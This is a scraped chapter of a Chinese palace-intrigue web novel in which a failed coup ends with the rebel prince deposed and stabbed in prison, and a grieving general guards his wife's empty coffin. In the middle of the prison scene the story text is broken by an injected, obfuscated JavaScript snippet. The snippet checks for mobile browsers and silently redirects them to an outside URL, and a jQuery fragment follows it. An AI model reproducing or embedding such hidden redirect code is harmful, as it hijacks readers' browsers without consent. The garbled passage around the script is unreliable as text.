106. 第 106 章
作品:《前夫打架我登基》 夜幕降下,京防兵在城中巡逻,街道上无任何百姓走动,沉重的气氛凝滞在郢都上空。
卫子聪带着上百名手下在落星园门前停住脚,守在门口的京防副都尉周安勇上前拱手:“三公子,萧家父子就在里面”
“动手!”
卫子聪命令手下人撞门,四周早有人翻墙而入,大门被打开,他闲庭信步地走进去,这么多年,他还是第一次踏进此处。
院中风景雅致,萧言祁坐于梨花树下,即便被包围,依旧不见丝毫惊慌。
“萧大人好兴致,都这时候了还有心情赏月”
卫子聪对萧言祁有种难以言明的情绪,或许是嫉妒,又或许是别的什么。
想他出身高门的天子骄子,这辈子吃过的亏,受过的冷待,不是在九公主身上,就是在梁淸萝身上,还有那个出身低微的秦梦竹。
这些人偏偏还都与萧言祁有关,也是,萧言祁本人也从未给过他好脸色,他有时候总想,萧言祁凭什么,凭什么众星捧月。
世人提到他卫子聪,总是艳羡他有个好出身,提到萧言祁,溢美之词却是滔滔不绝,他很不喜欢。
“上”,卫子聪发令。
话音刚落,包围萧言祁的数十名手下却被飞镖打中喉咙,血液喷溅,张青从天而降,打伞给萧言祁挡住污秽。
卫子聪眼神微变,身旁周安勇吹了声口哨,大批京防兵冲进来,朝萧言祁攻去。
张青扬手示意,如鬼魅般的暗卫无孔不入冒出,残影移动间,取了数十京防兵性命。
周安勇脸色不好,手下人来报:“大人,内院搜过了,空无一人”
说话间,一名暗卫越过人群,直取卫子聪咽喉,周安勇挥剑抵挡,两息后被人丢出院外,摔在地上吐血。
卫子聪几乎是束手就擒,他眼眸颤抖,似是难以置信,手下人横尸满地,身后京防兵不敢靠近,“卫公子!”
“别动”
卫子聪垂眼看向喉间的利刃,拦住手下,他看向梨花树下,萧言祁一尘不染。
他艰难地笑了笑,“萧相真是深藏不露啊”
他们明明探过底,萧言祁身边保护的护卫都是梁咏和所赠,他们派了死士去截杀,不在京中,没料到萧言祁暗中藏着这么多暗卫。
萧言祁缓步来到卫子聪面前,“下次还是让卫霖和太子来跟本官说话,你,还不够格”
卫子聪绷着的脸龟裂,萧言祁竟然完全不把他放在眼里。
“打扫院子,落星园必须干干净净”
萧言祁丢下一句话就离开,手下暗卫押着卫子聪和受伤的周安勇散去,剩下的京防兵面面相觑。
张虎拿着扫帚进来,骂人:“还不滚?别妨碍老子扫地”
存活的京防兵做鸟兽散。
宫门,卫京被拦在门口,他警告眼前人,“陈寒,你别不识抬举”
陈寒当驸马前,曾是卫京手下的兵,他家世不低,尚五公主后,就脱离了京防兵,当了禁军首领,掌管五千禁军,与二皇子一派不再往来,但也不偏不倚不站队。
奈何如今晋王升为嫡长皇子,与皇后是一条绳上的蚂蚱,他要帮谁不言而喻,“卫京,你等乱臣贼子,今日休想踏进宫门一步”
呵!卫京眼露凶光,命令手下:“给我上!”
宫门口杀声震天,半个都城都能听见异动,家家门庭紧闭,朝中高官则是被人围了府邸,只静待明早看谁坐上龙椅。
赵御史早早睡下,被一通吵闹的声音吵醒,他急忙来到前院,随即脸色一变。
“萧相,你为何在此”
萧言祁面色温和,“御史大人这么早就睡下了,这城中正乱着,请随本官去主持大局”
赵御史抽了抽嘴角,他来到门口张望,围住他府上的京防兵呢?
他眼见萧言祁走了,回房换上官服,一边又派人去卫府打探消息,才心虚地来到平日办公的衙署,却发现,里面朝中官员出了那些个武将,其他人皆在,众人与他大眼对小眼。
“御史大人,你也来了”
翰林院一名官员冲赵御史行礼,赵御史皮笑肉不笑地应了一声,他出言试探:“丞相找我等前来,是要主持什么大局?”
“太子被陛下禁足东宫,卫家叛乱逼宫,各位也都看见了,身为臣子,自然是要为陛下忠心尽瘁,各位大人不会舞刀弄枪,摇笔杆子总会吧”
众人互相窃窃私语,萧言祁的不少心腹带头奋笔疾书,一边数落靳启安的罪状一边义愤填膺,一些墙头草连忙学样,太子手下的文官脸色铁青,冲赵御史使眼色。
赵御史心中不安,他挪到一边,冷脸以对。
宫中,御林军包围了潜龙殿,靳启安站在门口,表情胜券在握,他推门而入,随即瞳孔一缩,脸色大变。
高忠冷声道:“太子殿下,臣已经等了你许久了”
靳启安后退到门外,指挥御林军:“拿下他”
御林军统领率先出手,高忠面对曾经的手下败将不禁嘲讽,“不自量力”
靳启安怒道:“全都给我上”
御林军冲进潜龙殿,挤得水泄不通,高忠大笑,飞身而起冲破房顶,靳启安正要让人追,却突然感到毛骨悚然。
手下御林军突然喊道:“不好,有埋伏!”
潜龙殿四周的房顶布满了弓箭手,箭尖对准靳启安,高忠站在房顶上,“太子殿下,你没有胜算”
靳启安怒问:“高忠,无诏不得进京,你要造反!”
“太子殿下此言差矣,高将军可是奉命进京平叛”
靳启元从回廊走来,扬了扬手中圣旨,“陛下有旨,靳启安忤逆犯上,即刻废除太子之位,押入天牢,听候发落”
靳启安黑着脸,拔出手中的剑朝靳启元砍去,高忠飞出一颗石子打在他手腕,他吃痛一声,手中剑握不稳掉下去。
他看向身后的宫门,卫京怎么还不来!
“卫京不会来了,他已经死了”,靳启元好心提醒。
身后宫门打开,陈寒拖着卫京的尸首进来,对靳启元道:“晋王殿下,反贼卫京已伏诛”
靳启安看着卫京的尸体,忍不住抖了抖,这不可能,他们明明已经布置妥当,眼角一道身影走进,他看过去,瞠目欲裂。
“萧、言、祁,是你!”
他恍然明白过来,怒瞪着靳启元和高忠,“你们早有勾结”
萧言祁淡淡地开口,“拿下二皇子,押入天牢”
身后一群穿着御林军铠甲的将士鱼贯而入,包围了靳启安身边的御林军。
御林军首领瞪着这些人,心中大惊,这些人都是生面孔,他还未开口,就被人堵住嘴拖走。
靳启安一脸不甘,“我要见陛下”
“带下去!”,靳启元催促。
天光微亮时,这场逼宫的闹剧也结束了,皇帝从偏殿来到早朝上,百官战战兢兢,皇帝又老了许多,“众卿怎么不说话?”
萧言祁示意手下官员,一名年轻的官员捧着高高的奏折出列,“陛下,二皇子品行不端,忤逆谋反,不忠不孝,应当处以重罪”
旁边另一位官员也捧着一堆奏折出列,“陛下,卫家犯上作乱,论罪当抄家处斩”
陆续有官员出来对二皇子逼宫一事批判,有的还趁机参卫家平日作恶多端,站在前头的赵御史头冒冷汗。
皇帝听够了底下官员对靳启安的指责,打断:“行了,萧相,你来说,该如何处置废太子”
“陛下,废太子已押入天牢,如何论罪,当由陛下亲理,我等臣子未及时保护陛下安危,已是怠责”
晋王跟话,“父皇,儿臣觉得丞相言之有理”
皇帝脸色稍缓,眼神示意姚公公,姚公公向前一步宣旨:“国不可无储君,今立嫡长子靳启元为太子,协理朝政”
宣完旨,皇帝就退朝了,当天,皇帝判处靳启安虢夺皇子身份,流放岭南,卫家抄家流放,卫霖斩首,卫贵妃打入冷宫。
赵御史被迫告老还乡,废太子一派的官员被清洗,陈寒破格升京防兵统领,封高忠为护国大将军,即刻出发前线抵抗傅家叛军。
皇帝安排完一切,身体越发衰老,林皇贵妃陪侍一旁,端茶喂药。
他听闻前朝被萧言祁和靳启元处理得稳稳当当,又看向温柔笑意的林皇贵妃,不禁后悔,若早就封长子为储君,他怕是能多活几年。
天牢中,靳启安看见萧言祁朝他走来,突然冷笑,“怎么,你是来问我靳灵星那贱人死没死?”
一只脚踹在他脸上,嘴里满是铁锈味。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503756|177633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“萧言祁,你知道她怎么死的吗?她被北狄人抓到军营里,北狄大王子阿图勒是个色鬼,你猜猜她怎么死的,哈哈哈哈哈”
一把短剑捅进他腹部,他止住了声音,怒瞪萧言祁,“你竟敢,父皇都不敢杀我,你就不怕…”
“皇帝不会知道”,萧言祁眼中隐隐疯狂。
他拔出剑,冷眼看着靳启安血流如注,“你该死”
靳启安捂着肚子,狂笑,“我可真佩服你,就为了个女人”
他舔了舔嘴角的血,“杀靳灵星可不是我一个人干的,不少人都有份,但我是不会告诉你的,你就慢慢查吧,哈哈哈哈”
萧言祁离开后,靳启元慢悠悠来到靳启安眼前,微微扬眉,“萧相下手也没个轻重,来人,给罪人靳启安包扎”
御医提着药箱进来,一言不发地给靳启安腹部缠纱布,靳启安面部抽搐,疼得吸气,眼中是浓重的恨意。
御医包扎完迫不及待退下,靳启元蹲下来,低声道:“你知道你为什么沦落至此吗?”
“呵,别太得意,你以为我不知道你背后干的那些勾当,我不过是懒得与你这种阴暗曲折的人论长短罢了”,靳启安唾了一口。
靳启元站起身,“蠢到死”
他转身往外走,突听得身后人道:“靳灵星没死”
他顿住脚步,听见靳启安在狂笑,他冷漠地离开。
靳启安心中痛快,死前还能阴憎恨的人一把,他压根儿不信天命之说,只有皇帝和靳启元这种胆小,患得患失的人,才会信一个老秃驴胡诌。
他杀靳灵星只是因为想杀,借皇帝的刀顺手推舟罢了。
他今日才发现,萧言祁这几年竟藏竟得这么深,靳启元与虎谋皮,就等着咎由自取吧。
定安城,傅峥怒瞪着傅行川,傅行川略有点不自在,“盗墓贼过于狡猾”
这几天,傅行川派人在北境追捕那伙盗墓贼,岂料对方胆大包天,竟然三番两次潜入陵园,试图凿开儿媳妇的棺,偏偏每次都让人逃了,他亲自上阵埋伏,还被对方调虎离山,又让人跑了。
奇耻大辱,简直是奇耻大辱。
“殿下的棺我让人挪到偏院里了,有亲卫严加看守,你要是不放心,就去看看”
傅峥转头就走,傅行川叹着气跟上去。
偏院里被傅家护卫里三层外三层围住,傅峥脚步沉重,他手摸过木棺,抚过上面破损的缺口,心中怒意滔天。
“打开”
手下上前拆掉木棺的钉子,抬下盖板,华丽的衣冠完好无损地放置其中,傅峥眼中浮现她昔日穿着这身衣服的样子,那么鲜活漂亮。
心又开始痛了,他不愿再看,挪开眼。
“重新打一副棺木,再出岔子,唯你们是问”
手下领命而去。
深夜,偏院房顶的瓦片被人挪开两块,一双锐利的眼睛往下望,看见下方棺木中的东西,眼睛放光,打算撤退,周围火光骤亮。
他拔出剑,一只利箭即将穿透他眉心,他侧身闪躲,身前掌风已至,他滚下屋顶,同伴从天而降掩护他后退。
傅家亲卫追捕包围,将两人困住方圆之中,傅峥从暗处走出来,眼神透着血红,“谁派你们来的?”
两人未答,找寻着脱身的时机。
“你们以为我猜不到?不就是姓萧的那等偷偷摸摸的鼠辈”
两人变了脸色,其中一人反驳:“我主人对殿下真心一片,不像你,连殿下的命都保不住”
傅峥拳头已至眼前,两人躲闪,其中一人吹了声口哨,二十几名黑衣人冒出来吸引傅家亲卫注意力,两人趁机脱身。
傅峥岂会让他们逃了,他眨眼便飞身至两人身前,一人一拳打在胸口,其中一人扑上去缠住傅峥,对同伴道:“快走”
同伴吹响口哨,跳上房顶,消失在夜色里,园中其他黑衣人也伺机而逃。
“给我追,追不到你们就别回来了!”
傅家亲卫追出去。
傅峥怒不可遏,他丢开手中半死不活的人,转身来到棺木旁,方才的诛心之言让他失控,他趴在棺木边缘,平复心绪。
傅行川赶来时看到儿子像是发了心疾的模样,上前将人拽起严厉地骂道:“不孝子,想死是不是!”